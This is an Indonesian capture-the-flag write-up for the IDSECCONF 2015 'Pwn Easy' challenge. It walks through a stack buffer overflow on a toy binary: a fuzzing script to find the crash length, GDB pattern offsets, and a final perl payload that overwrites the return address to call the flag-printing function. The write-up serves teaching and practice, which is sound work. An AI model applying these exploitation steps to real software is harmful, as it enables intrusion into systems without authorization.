[IDSECCONF Online 2015] Pwn Easy
Masalah
Diberikan berkas pwneasy
yang jika didekompilasi menjadi kode seperti ini.
int indonesia()
{
return system("cat flag.txt");
}
ssize_t jalan_keflag()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++\n\t\tServer Akses\nMasukkan ID Agen: ", 0x5AuLL);
jalan_keflag(1LL, "++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++\n\t\tServer Akses\nMasukkan ID Agen: ");
return puts("Akses Ditolak");
}
Penyelesaian
Pengumpulan Informasi
Periksa keamanan binary dengan checksec
.
$ checksec pwneasy
[*] '/../pwneasy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000
Tidak ada canary sehingga bisa melakukan stack smashing pada binary dan berdasarkan source code, program meminta input dengan maksimum buffer sebesar 0x200 bytes.
Identifikasi Kelemahan
Ada fungsi read
yang tidak diproteksi sehingga pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault
. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.
find_segfault_by_input.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Luaran.
~ skipped ~
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses
Masukkan ID Agen: Akses Ditolak
127
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses
Masukkan ID Agen: Akses Ditolak
128
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses
Masukkan ID Agen: Akses Ditolak
./find_segfault_by_input.sh: line 4: 25181 Segmentation fault (core dumped) ./$1 < /tmp/delete.me
SEGMENTATION FAULT on 128 BUFFER
Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault
sebesar 128 bytes.
Eksploitasi
Buka GDB, dan periksa stack yang ada dalam binary.
$ gdb -q pwneasy
gdb-peda$ r < /tmp/delete.me
Luaran.
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses
Masukkan ID Agen: Akses Ditolak
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xe
RBX: 0x0
RCX: 0x7ffff7b04290 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("Akses Ditolak\n")
RDI: 0x1
RBP: 0x7ffff7a7
RSP: 0x7fffffffe212 --> 0xe20a000000000000
RIP: 0x40067e (<main+56>: ret)
R8 : 0x602000 --> 0x0
R9 : 0xd ('\r')
R10: 0x7ffff7dd1b78 --> 0x602410 --> 0x0
R11: 0x246
R12: 0x400520 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400673 <main+45>: mov edi,0x400772
0x400678 <main+50>: call 0x4004c0 <puts@plt>
0x40067d <main+55>: leave
=> 0x40067e <main+56>: ret
0x40067f: nop
0x400680 <__libc_csu_init>: push r15
0x400682 <__libc_csu_init+2>: push r14
0x400684 <__libc_csu_init+4>: mov r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe212 --> 0xe20a000000000000
0008| 0x7fffffffe21a --> 0x52000007fffffff
0016| 0x7fffffffe222 --> 0x67d000000000040
0024| 0x7fffffffe22a --> 0xe328000000000040
0032| 0x7fffffffe232 --> 0x7fffffff
0040| 0x7fffffffe23a --> 0x680000000010000
0048| 0x7fffffffe242 --> 0xd830000000000040
0056| 0x7fffffffe24a --> 0x7ffff7a2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040067e in main ()
Ternyata register RIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 12 byte sehingga menjadi 140 byte dan gunakan pattern create
untuk mendapatan posisi register RIP.
gdb-peda$ pattern create 140 delete.me
gdb-peda$ r < delete.me
Luaran.
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses
Masukkan ID Agen:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x8c
RBX: 0x0
RCX: 0x7ffff7b04230 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffe1a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQA")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5f9 ("/home/dummy/Private/progress/beeps/dev/assets/sample-3/pwneasy")
RIP: 0x41514141 ('AAQA')
R8 : 0x4006f0 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x400520 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41514141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5f9 ("/home/dummy/Private/progress/beeps/dev/assets/sample-3/pwneasy")
0008| 0x7fffffffe238 --> 0x100000000
0016| 0x7fffffffe240 --> 0x400680 (<__libc_csu_init>: push r15)
0024| 0x7fffffffe248 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffe250 --> 0x0
0040| 0x7fffffffe258 --> 0x7fffffffe328 --> 0x7fffffffe5f9 ("/home/dummy/Private/progress/beeps/dev/assets/sample-3/pwneasy")
0048| 0x7fffffffe260 --> 0x100000000
0056| 0x7fffffffe268 --> 0x400646 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000041514141 in ?? ()
gdb-peda$
Ternyata register RIP sudah berhasil ditimpa dengan buffer AAQA
, selanjutnya mencari indeks register RIP pada buffer delete.me
.
echo `python -c 'print open("delete.me").read().rstrip().index("AAQA")'`
Luaran.
136
Dengan demikian fungsi indonesia()
bisa dipanggil dengan meletakkan alamatnya pada akhir payload. Alamat fungsi indonesia()
dapat diketahui dengan perintah dibawah ini.
$ nm pwneasy | grep indonesia
0000000000400616 T indonesia
Ini dia script penyelesaian akhir.
perl -e 'printf "A"x136 . "\x16\x06\x40"' | ./pwneasy
Luaran.
++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++
Server Akses
Masukkan ID Agen: FLAG{its_works}
~ skipped ~